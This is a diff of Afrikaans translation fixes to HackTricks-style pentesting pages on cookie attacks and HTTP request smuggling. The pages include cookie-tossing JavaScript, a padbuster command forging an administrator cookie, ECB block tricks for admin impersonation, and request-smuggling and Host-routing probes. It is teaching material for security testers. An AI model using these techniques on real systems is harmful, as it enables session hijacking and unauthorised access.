 - Dit kan omseil word met **TRACE** **HTTP** versoeke aangesien die antwoord van die bediener (as hierdie HTTP metode beskikbaar is) die koekies wat gestuur is, sal weerspieël. Hierdie tegniek word **Cross-Site Tracking** genoem.
-- Hierdie tegniek word vermy deur **moderne blaaiers deur nie toe te laat om 'n TRACE** versoek van JS te stuur. Daar is egter sekere omseilings in spesifieke sagteware gevind, soos om `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2 te stuur.
+- Hierdie tegniek word vermy deur **moderne blaaiers deur nie toe te laat om 'n TRACE** versoek van JS te stuur nie. Tog is daar sekere omseilings in spesifieke sagteware gevind, soos om `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2 te stuur.
 - 'n Ander manier is die uitbuiting van nul/dag kwesbaarhede van die blaaiers.
-- Dit is moontlik om **HttpOnly koekies** te oorskry deur 'n Koekie Jar oorgeloop aanval uit te voer:
+- Dit is moontlik om **HttpOnly koekies** te oorskry deur 'n Koekie Jar overflow aanval uit te voer:
 
 {{#ref}}
 cookie-jar-overflow.md
 {{#endref}}
 
-- Dit is moontlik om [**Koekie Smuggling**](./#cookie-smuggling) aanval te gebruik om hierdie koekies te ekfiltreer.
+- Dit is moontlik om [**Cookie Smuggling**](./#cookie-smuggling) aanval te gebruik om hierdie koekies te ekfiltreer.
 
 ### Veilige
 
@@ -89,17 +89,17 @@ Dit is belangrik om op te let dat koekies wat met `__Host-` begin, nie toegelaat
 
 ### Oorskry van koekies
 
-So, een van die beskermings van `__Host-` voorvoegsel koekies is om te voorkom dat hulle van subdomeine oorgeskryf word. Dit voorkom byvoorbeeld [**Koekie Tossing aanvalle**](cookie-tossing.md). In die praatjie [**Koekies Krummel: Ontsluiting van Web Sessies Integriteit Kwesbaarhede**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**papier**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) word aangebied dat dit moontlik was om \_\_HOST- voorvoegsel koekies van subdomein in te stel, deur die parser te bedrieg, byvoorbeeld, om "=" aan die begin of aan die begin en die einde by te voeg...:
+So, een van die beskermings van `__Host-` voorvoegsel koekies is om te voorkom dat hulle van subdomeine oorgeskryf word. Dit voorkom byvoorbeeld [**Cookie Tossing aanvalle**](cookie-tossing.md). In die praatjie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**papier**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) word aangebied dat dit moontlik was om \_\_HOST- voorvoegsel koekies van subdomein in te stel, deur die parser te bedrieg, byvoorbeeld, om "=" aan die begin of aan die begin en die einde toe te voeg...:
 
 <figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Of in PHP was dit moontlik om **ander karakters aan die begin** van die koekie naam by te voeg wat **vervang sou word deur onderstreep** karakters, wat dit moontlik maak om `__HOST-` koekies te oorskry:
+Of in PHP was dit moontlik om **ander karakters aan die begin** van die koekie naam toe te voeg wat gaan **vervang word deur onderstreep** karakters, wat toelaat om `__HOST-` koekies te oorskry:
 
 <figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
 
 ## Koekies Aanvalle
 
-As 'n pasgemaakte koekie sensitiewe data bevat, kyk dit (veral as jy 'n CTF speel), aangesien dit kwesbaar mag wees.
+As 'n pasgemaakte koekie sensitiewe data bevat, kyk daarna (veral as jy 'n CTF speel), aangesien dit kwesbaar mag wees.
 
 ### Dekodering en Manipulering van Koekies
 
@@ -107,11 +107,11 @@ Sensitiewe data wat in koekies ingebed is, moet altyd ondersoek word. Koekies wa
 
 ### Sessiediefstal
 
-Hierdie aanval behels die steel van 'n gebruiker se koekie om ongeoorloofde toegang tot hul rekening binne 'n toepassing te verkry. Deur die gesteelde koekie te gebruik, kan 'n aanvaller die wettige gebruiker naboots.
+Hierdie aanval behels die steel van 'n gebruiker se koekie om ongeoorloofde toegang tot hul rekening binne 'n toepassing te verkry. Deur die gesteelde koekie te gebruik, kan 'n aanvaller die wettige gebruiker na boots.
 
 ### Sessiefiksasie
 
-In hierdie scenario bedrieg 'n aanvaller 'n slagoffer om 'n spesifieke koekie te gebruik om in te log. As die toepassing nie 'n nuwe koekie toeken nie wanneer daar ingelog word, kan die aanvaller, wat die oorspronklike koekie besit, die slagoffer naboots. Hierdie tegniek is afhanklik van die slagoffer wat met 'n koekie wat deur die aanvaller verskaf is, inlog.
+In hierdie scenario bedrieg 'n aanvaller 'n slagoffer om 'n spesifieke koekie te gebruik om in te log. As die toepassing nie 'n nuwe koekie toeken nie wanneer daar ingelog word, kan die aanvaller, wat die oorspronklike koekie besit, die slagoffer na boots. Hierdie tegniek staat op die slagoffer wat inlog met 'n koekie wat deur die aanvaller verskaf is.
 
 As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
 
@@ -133,9 +133,9 @@ cookie-tossing.md
 
 Klik op die vorige skakel om toegang te verkry tot 'n bladsy wat moontlike gebreke in JWT verduidelik.
 
-JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede hê. Vir diepgaande inligting oor potensiële gebreke en hoe om dit te benut, word dit aanbeveel om die gekoppelde dokument oor die hack van JWT te raadpleeg.
+JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede bied. Vir diepgaande inligting oor potensiële gebreke en hoe om dit te benut, word dit aanbeveel om die gekoppelde dokument oor die hacking van JWT te raadpleeg.
 
-### Kruis-web Versoek Forgery (CSRF)
+### Cross-Site Request Forgery (CSRF)
 
 Hierdie aanval dwing 'n ingelogde gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waarin hulle tans geverifieer is. Aanvallers kan koekies wat outomaties met elke versoek na die kwesbare webwerf gestuur word, benut.
 
@@ -147,7 +147,7 @@ document.cookie = "a=v1"
 document.cookie = "=test value;" // Setting an empty named cookie
 document.cookie = "b=v2"
 ```
-Die resultaat in die gestuurde koekie kop is `a=v1; test value; b=v2;`. Interessant genoeg, dit stel die manipulasie van koekies in staat as 'n leë naam koekie gestel word, wat moontlik ander koekies kan beheer deur die leë koekie na 'n spesifieke waarde te stel:
+Die resultaat in die gestuurde koekie kop is `a=v1; test value; b=v2;`. Interessant genoeg stel dit in staat om koekies te manipuleer as 'n leë naam koekie gestel word, wat moontlik ander koekies kan beheer deur die leë koekie na 'n spesifieke waarde te stel:
 ```js
 function setCookie(name, value) {
 document.cookie = `${name}=${value}`
@@ -179,7 +179,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
 - Zope soek 'n komma om die volgende koekie te begin ontleed.
 - Python se koekieklasse begin ontleed op 'n spasiekarakter.
 
-Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat op koekie-gebaseerde CSRF-beskerming staatmaak, aangesien dit aanvallers in staat stel om nagebootste CSRF-token koekies in te spuit, wat moontlik sekuriteitsmaatreëls kan omseil. Die probleem word vererger deur Python se hantering van duplikaat koekiename, waar die laaste voorkoms vroeëre oorskry. Dit wek ook kommer oor `__Secure-` en `__Host-` koekies in onveilige kontekste en kan lei tot magtigingsoorskryding wanneer koekies aan agtergrondbedieners oorgedra word wat vatbaar is vir nabootsing.
+Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat op koekie-gebaseerde CSRF-beskerming staatmaak, aangesien dit aanvallers in staat stel om nagebootste CSRF-token koekies in te spuit, wat moontlik sekuriteitsmaatreëls kan omseil. Die probleem word vererger deur Python se hantering van duplikaat koekiename, waar die laaste voorkoms vroeëre oorskry. Dit wek ook kommer vir `__Secure-` en `__Host-` koekies in onveilige kontekste en kan lei tot magtigingsoorskryding wanneer koekies aan agtergrondbedieners oorgedra word wat vatbaar is vir nabootsing.
 
 ### Koekies $version en WAF-omseilings
 
@@ -198,7 +198,7 @@ In die RFC2109 word aangedui dat 'n **komma as 'n skeidingsteken tussen koekiewa
 
 #### Omseiling van waardeanalis met koekieskeiding
 
-Laastens sou verskillende agterdeure in 'n string verskillende koekies wat in verskillende koekie-koptekste oorgedra word, saamvoeg soos in:&#x20;
+Laastens sou verskillende agterdeure in 'n string verskillende koekies wat in verskillende koekie-kopstukke oorgedra word, saamgevoeg word soos in:&#x20;
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -228,8 +228,8 @@ Resulting cookie: name=eval('test//, comment') => allowed
 
 As die koekie dieselfde bly (of amper) wanneer jy aanmeld, beteken dit waarskynlik dat die koekie verband hou met 'n veld van jou rekening (waarskynlik die gebruikersnaam). Dan kan jy:
 
-- Probeer om baie **rekeninge** met gebruikersname wat baie **soortgelyk** is te skep en probeer om te **raai** hoe die algoritme werk.
-- Probeer om die **gebruikersnaam te bruteforce**. As die koekie slegs as 'n verifikasietegniek vir jou gebruikersnaam stoor, kan jy 'n rekening met die gebruikersnaam "**Bmin**" skep en elke enkele **bit** van jou koekie **bruteforce** omdat een van die koekies wat jy sal probeer die een behoort aan "**admin**".
+- Probeer om baie **rekeninge** met baie **soortgelyke** gebruikersname te skep en probeer om te **raai** hoe die algoritme werk.
+- Probeer om die **gebruikersnaam te bruteforce**. As die koekie slegs as 'n verifikasiemetode vir jou gebruikersnaam stoor, kan jy 'n rekening met die gebruikersnaam "**Bmin**" skep en elke enkele **bit** van jou koekie **bruteforce** omdat een van die koekies wat jy sal probeer die een behoort aan "**admin**".
 - Probeer **Padding** **Oracle** (jy kan die inhoud van die koekie ontsleutel). Gebruik **padbuster**.
 
 **Padding Oracle - Padbuster voorbeelde**
@@ -246,7 +246,7 @@ Padbuster sal verskeie pogings maak en jou vra watter voorwaarde die foutvoorwaa
 
 Dan sal dit begin om die koekie te ontsleutel (dit kan 'n paar minute neem)
 
-As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy sou wil **enkripteer** **user=administrator**
+As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy sou wil **encrypt** **user=administrator**
 ```
 padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
 ```
@@ -269,9 +269,9 @@ Wanneer jy aanmeld, moet die koekie wat jy ontvang altyd dieselfde wees.
 
 **Hoe om te detecteer en aan te val:**
 
-Skep 2 gebruikers met byna dieselfde data (gebruikersnaam, wagwoord, e-pos, ens.) en probeer om 'n patroon binne die gegewe koekie te ontdek.
+Skep 2 gebruikers met amper dieselfde data (gebruikersnaam, wagwoord, e-pos, ens.) en probeer om 'n patroon binne die gegewe koekie te ontdek.
 
-Skep 'n gebruiker genaamd byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die koekie is (aangesien ECB met dieselfde sleutel elke blok versleutelt, kan dieselfde versleutelde bytes verskyn as die gebruikersnaam versleuteld word).
+Skep 'n gebruiker genoem byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die koekie is (aangesien ECB met dieselfde sleutel elke blok versleutelt, kan dieselfde versleutelde bytes verskyn as die gebruikersnaam versleuteld word).
 
 Daar moet 'n patroon wees (met die grootte van 'n gebruikte blok). So, deur te weet hoe 'n klomp "a" versleuteld is, kan jy 'n gebruikersnaam skep: "a"\*(grootte van die blok)+"admin". Dan kan jy die versleutelde patroon van 'n blok van "a" uit die koekie verwyder. En jy sal die koekie van die gebruikersnaam "admin" hê.
 

src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md

@@ -15,7 +15,7 @@ document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
 Let wel, dat derdeparty-koekies wat na 'n ander domein verwys, nie oorgeskryf sal word nie.
 
 > [!CAUTION]
-> Hierdie aanval kan ook gebruik word om **HttpOnly-koekies te oorgeskryf, aangesien jy dit kan verwyder en dan met die waarde wat jy wil, kan herstel**.
+> Hierdie aanval kan ook gebruik word om **HttpOnly-koekies te oorgeskryf, aangesien jy dit kan verwyder en dan weer kan instel met die waarde wat jy wil**.
 >
 > Kontroleer dit in [**hierdie pos met 'n laboratorium**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
 

src/pentesting-web/hacking-with-cookies/cookie-tossing.md

@@ -11,19 +11,19 @@ Soos aangedui in die Koekie Hacking afdeling, wanneer 'n **koekie aan 'n domein
 > [!CAUTION]
 > Daarom, **sal 'n aanvaller in staat wees om 'n spesifieke koekie aan die domein en subdomeine te stel deur iets soos** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
 
-Dit kan gevaarlik wees aangesien die aanvaller in staat mag wees om:
+Dit kan gevaarlik wees aangesien die aanvaller dalk in staat is om:
 
-- **Die koekie van die slagoffer aan die aanvaller se rekening te fixe** sodat as die gebruiker nie opgemerk nie, **hy die aksies in die aanvaller se rekening sal uitvoer** en die aanvaller mag interessante inligting verkry (kyk na die geskiedenis van die gebruiker se soektogte op die platform, die slagoffer mag sy kredietkaart in die rekening stel...)
+- **Die koekie van die slagoffer aan die aanvaller se rekening te fixe** sodat as die gebruiker nie oplet nie, **hy die aksies in die aanvaller se rekening sal uitvoer** en die aanvaller mag interessante inligting verkry (kyk na die geskiedenis van die gebruiker se soektogte op die platform, die slagoffer mag sy kredietkaart in die rekening stel...)
 - As die **koekie nie verander na aanmelding nie**, kan die aanvaller net **'n koekie fixe (sessie-fixasie)**, wag totdat die slagoffer aanmeld en dan **daardie koekie gebruik om as die slagoffer aan te meld**.
 - Soms, selfs al verander die sessie koekies, gebruik die aanvaller die vorige een en sal hy ook die nuwe een ontvang.
-- As die **koekie 'n aanvanklike waarde stel** (soos in flask waar die **koekie** die **CSRF-token** van die sessie mag **stel** en hierdie waarde sal gehandhaaf word nadat die slagoffer aanmeld), kan die **aanvaller hierdie bekende waarde stel en dit dan misbruik** (in daardie scenario kan die aanvaller dan die gebruiker dwing om 'n CSRF-versoek uit te voer aangesien hy die CSRF-token ken).
-- Net soos om die waarde te stel, kan die aanvaller ook 'n nie-geverifieerde koekie wat deur die bediener gegenereer is, verkry, die CSRF-token daaruit verkry en dit gebruik.
+- As die **koekie 'n aanvanklike waarde stel** (soos in flask waar die **koekie** die **CSRF-token** van die sessie kan **stel** en hierdie waarde sal gehandhaaf word nadat die slagoffer aanmeld), kan die **aanvaller hierdie bekende waarde stel en dit dan misbruik** (in daardie scenario kan die aanvaller dan die gebruiker dwing om 'n CSRF-versoek uit te voer aangesien hy die CSRF-token ken).
+- Net soos om die waarde te stel, kan die aanvaller ook 'n nie-geverifieerde koekie wat deur die bediener gegenereer is, verkry, die CSRF-token daaruit haal en dit gebruik.
 
 ### Koekie Bestelling
 
-Wanneer 'n blaaier twee koekies met dieselfde naam **gedeeltelik die samelewing beïnvloed** (domein, subdomeine en pad), sal die **blaaier albei waardes van die koekie stuur** wanneer albei geldig is vir die versoek.
+Wanneer 'n blaaier twee koekies met dieselfde naam ontvang wat **gedeeltelik die same scope** (domein, subdomeine en pad) beïnvloed, sal die **blaaier albei waardes van die koekie stuur** wanneer albei geldig is vir die versoek.
 
-Afhangende van wie **die mees spesifieke pad het** of watter een die **oudste een is**, sal die blaaiers **eers die waarde van die koekie stel** en dan die waarde van die ander een soos in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
+Afhangende van wie **die mees spesifieke pad het** of watter een die **oudste een is**, sal die blaaier **eers die waarde van die koekie stel** en dan die waarde van die ander een soos in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
 
 Meeste **webwerwe sal net die eerste waarde gebruik**. Dan, as 'n aanvaller 'n koekie wil stel, is dit beter om dit te stel voordat 'n ander een gestel word of dit met 'n meer spesifieke pad te stel.
 
@@ -40,7 +40,7 @@ Om die scenario te omseil waar die aanvaller 'n koekie stel nadat die slagoffer
 cookie-jar-overflow.md
 {{#endref}}
 
-Nog 'n nuttige **omseiling** kan wees om **die naam van die koekie te URL-kodeer** aangesien sommige beskermings vir 2 koekies met dieselfde naam in 'n versoek kyk en dan sal die bediener die name van die koekies dekodeer.
+Nog 'n nuttige **omseiling** kan wees om die **naam van die koekie URL te kodeer** aangesien sommige beskermings vir 2 koekies met dieselfde naam in 'n versoek kyk en dan die bediener die name van die koekies sal dekodeer.
 
 ### Koekie Bom
 
@@ -62,6 +62,6 @@ cookie-bomb.md
 - [**@blueminimal**](https://twitter.com/blueminimal)
 - [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
 - [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
-- [**Koekies Krummel: Ontsluiting van Web Sessie Integriteit Kwesbaarhede**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
+- [**Koekies Krummel: Ontsluiting van Web Sessie Integriteit Kw vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/http-connection-request-smuggling.md

@@ -8,7 +8,7 @@
 
 ### Eerste-versoek Validasie
 
-Wanneer versoeke gerouteer word, mag omgekeerde proxies afhanklik wees van die **Host header** om die bestemming agtergrond bediener te bepaal, dikwels staatmakend op 'n witlys van gashere wat toegang toegelaat word. Daar bestaan egter 'n kwesbaarheid in sommige proxies waar die witlys slegs op die aanvanklike versoek in 'n verbinding afgedwing word. Gevolglik kan aanvallers dit benut deur eers 'n versoek na 'n toegelate gasheer te maak en dan 'n interne webwerf deur dieselfde verbinding aan te vra:
+Wanneer versoeke gerouteer word, mag omgekeerde proxies afhanklik wees van die **Host header** om die bestemming agtergrond bediener te bepaal, dikwels staatmakend op 'n witlys van hosts wat toegang toegelaat word. Daar bestaan egter 'n kwesbaarheid in sommige proxies waar die witlys slegs op die aanvanklike versoek in 'n verbinding afgedwing word. Gevolglik kan aanvallers hiervan gebruik maak deur eers 'n versoek na 'n toegelate host te maak en dan 'n interne webwerf deur dieselfde verbinding aan te vra:
 ```
 GET / HTTP/1.1
 Host: [allowed-external-host]
@@ -18,7 +18,7 @@ Host: [internal-host]
 ```
 ### Eerste-aanvraag Routering
 
-In sommige konfigurasies kan 'n voorste bediener die **Host-kop van die eerste aanvraag** gebruik om die agterkant routering vir daardie aanvraag te bepaal, en dan alle daaropvolgende aanwysings van dieselfde kliëntverbinding persistent na dieselfde agterkantverbinding te stuur. Dit kan soos volg gedemonstreer word:
+In sommige konfigurasies kan 'n front-end bediener die **Host kop van die eerste aanvraag** gebruik om die agterkant routering vir daardie aanvraag te bepaal, en dan volhoubaar alle daaropvolgende aanvraag van dieselfde kliëntverbinding na dieselfde agterkantverbinding te router. Dit kan gedemonstreer word as:
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -26,7 +26,7 @@ Host: example.com
 POST /pwreset HTTP/1.1
 Host: psres.net
 ```
-Hierdie probleem kan potensieel gekombineer word met [Host header attacks](https://portswigger.net/web-security/host-header), soos wagwoordherstel vergiftiging of [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), om ander kwesbaarhede te benut of ongeoorloofde toegang tot bykomende virtuele gasheer te verkry.
+Hierdie probleem kan potensieel gekombineer word met [Host header attacks](https://portswigger.net/web-security/host-header), soos wagwoordherstel vergiftiging of [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), om ander kwesbaarhede te benut of ongeoorloofde toegang tot addisionele virtuele gasheer te verkry.
 
 > [!NOTE]
 > Om hierdie kwesbaarhede te identifiseer, kan die 'connection-state probe' funksie in HTTP Request Smuggler gebruik word.

src/pentesting-web/http-request-smuggling/README.md

@@ -5,7 +5,7 @@
 
 ## Wat is
 
-Hierdie kwesbaarheid ontstaan wanneer 'n **desyncronization** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laaibalansering / omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïterpreteer** sal word.\
+Hierdie kwesbaarheid ontstaan wanneer 'n **desynkronisasie** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laai balanseer / omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïterpreteer** sal word.\
 Dit stel 'n gebruiker in staat om die **volgende versoek wat na die back-end bediener kom na syne** te **wysig**.
 
 ### Teorie
@@ -25,14 +25,14 @@ Dit stel 'n gebruiker in staat om die **volgende versoek wat na die back-end bed
 
 ### Realiteit
 
-Die **Front-End** (n laaibalansering / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desyncronization** tussen die 2 stelsels veroorsaak.\
+Die **Front-End** (n laai-balanseer / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desynkronisasie** tussen die 2 stelsels veroorsaak.\
 Dit kan baie krities wees aangesien **'n aanvaller in staat sal wees om een versoek** na die omgekeerde proxy te stuur wat deur die **back-end** bediener **as 2 verskillende versoeke** **geïterpreteer** sal word. Die **gevaar** van hierdie tegniek lê in die feit dat die **back-end** bediener die **2de versoek wat ingevoeg is** sal **interpreteer** asof dit **van die volgende kliënt** af kom en die **werklike versoek** van daardie kliënt sal **deel** wees van die **ingevoegde versoek**.
 
 ### Besonderhede
 
 Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
 
-- **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie nodig aan die einde van die versoek**.
+- **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie nodig aan die einde van die versoek** nie.
 - **Transfer-Encoding:** Hierdie kopveld gebruik in die **liggaam** 'n **heksadesimale getal** om die **aantal** **bytes** van die **volgende stuk** aan te dui. Die **stuk** moet **eindig** met 'n **nuwe lyn** maar hierdie nuwe lyn **word nie getel** deur die lengte-indikator nie. Hierdie oordragmetode moet eindig met 'n **stuk van grootte 0 gevolg deur 2 nuwe lyne**: `0`
 - **Connection**: Gebaseer op my ervaring word dit aanbeveel om **`Connection: keep-alive`** op die eerste versoek van die versoek Smuggling te gebruik.
 
@@ -41,14 +41,14 @@ Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
 > [!TIP]
 > Wanneer jy probeer om dit met Burp Suite te benut **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik.
 
-HTTP versoek smuggling aanvalle word geskep deur ambigue versoeke te stuur wat die verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteit gee. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
+HTTP versoek smuggling aanvalle word geskep deur om ambigue versoeke te stuur wat die verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, te benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriseer. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
 
 ### Basiese Voorbeelde van Kwesbaarheidstipes
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!NOTE]
-> By die vorige tabel moet jy die TE.0 tegniek voeg, soos CL.0 tegniek maar met Transfer Encoding.
+> By die vorige tabel moet jy die TE.0 tegniek byvoeg, soos CL.0 tegniek maar met Transfer Encoding.
 
 #### CL.TE Kwesbaarheid (Content-Length gebruik deur Front-End, Transfer-Encoding gebruik deur Back-End)
 
@@ -133,7 +133,7 @@ Transfer-Encoding
 #### **CL.CL Scenario (Content-Length gebruik deur beide Front-End en Back-End)**
 
 - Beide bedieners verwerk die versoek gebaseer slegs op die `Content-Length` kopveld.
-- Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar ooreenstemming is in hoe beide bedieners die versoeklengte interpreteer.
+- Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar 'n ooreenstemming is in hoe beide bedieners die versoek lengte interpreteer.
 - **Voorbeeld:**
 
 ```
@@ -147,7 +147,7 @@ Normale Versoek
 
 #### **CL.0 Scenario**
 
-- Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde het anders as nul, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
+- Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
 - Dit is belangrik in die begrip en vorming van smuggling aanvalle, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
 - **Voorbeeld:**
 
@@ -208,7 +208,7 @@ Die identifisering van HTTP request smuggling kwesbaarhede kan dikwels bereik wo
 
 - **Metode:**
 
-- Stuur 'n versoek wat, indien die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
+- Stuur 'n versoek wat, as die toepassing kwesbaar is, die agtergrond bediener sal dwing om vir addisionele data te wag.
 - **Voorbeeld:**
 
 ```
@@ -225,17 +225,17 @@ A
 
 - **Waarneming:**
 - Die voorste bediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
-- Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
+- Die agtergrond bediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
 
 - **Aanduiders:**
 - Timeouts of lang vertraging in reaksie.
-- Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bediener-inligting.
+- Ontvang 'n 400 Bad Request fout van die agtergrond bediener, soms met gedetailleerde bediener inligting.
 
 ### Vind TE.CL Kwesbaarhede Met Tydtegnieke
 
 - **Metode:**
 
-- Stuur 'n versoek wat, indien die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
+- Stuur 'n versoek wat, as die toepassing kwesbaar is, die agtergrond bediener sal dwing om vir addisionele data te wag.
 - **Voorbeeld:**
 
 ```
@@ -251,38 +251,38 @@ X
 
 - **Waarneming:**
 - Die voorste bediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
-- Die agtergrondbediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
+- Die agtergrond bediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
 
 ### Ander Metodes om Kwesbaarhede te Vind
 
 - **Differensiële Responsanalise:**
-- Stuur effens verskillende weergawes van 'n versoek en observeer of die bediener se reaksies op 'n onverwagte manier verskil, wat 'n parsing-afwyking aandui.
+- Stuur effens verskillende weergawes van 'n versoek en observeer of die bediener se reaksies op 'n onverwagte manier verskil, wat 'n parsingsverskil aandui.
 - **Gebruik van Geoutomatiseerde Gereedskap:**
 - Gereedskap soos Burp Suite se 'HTTP Request Smuggler' uitbreiding kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van ambigue versoeke te stuur en die reaksies te analiseer.
-- **Content-Length Variansie Toetse:**
+- **Content-Length Varians Toetse:**
 - Stuur versoeke met verskillende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en observeer hoe die bediener sulke wanbalanse hanteer.
-- **Transfer-Encoding Variansie Toetse:**
-- Stuur versoeke met obfuskeer of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorste en agtergrondbedieners op sulke manipulasies reageer.
+- **Transfer-Encoding Varians Toetse:**
+- Stuur versoeke met obfuskeerde of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorste en agtergrond bedieners op sulke manipulasies reageer.
 
 ### HTTP Request Smuggling Kwesbaarheidstoetsing
 
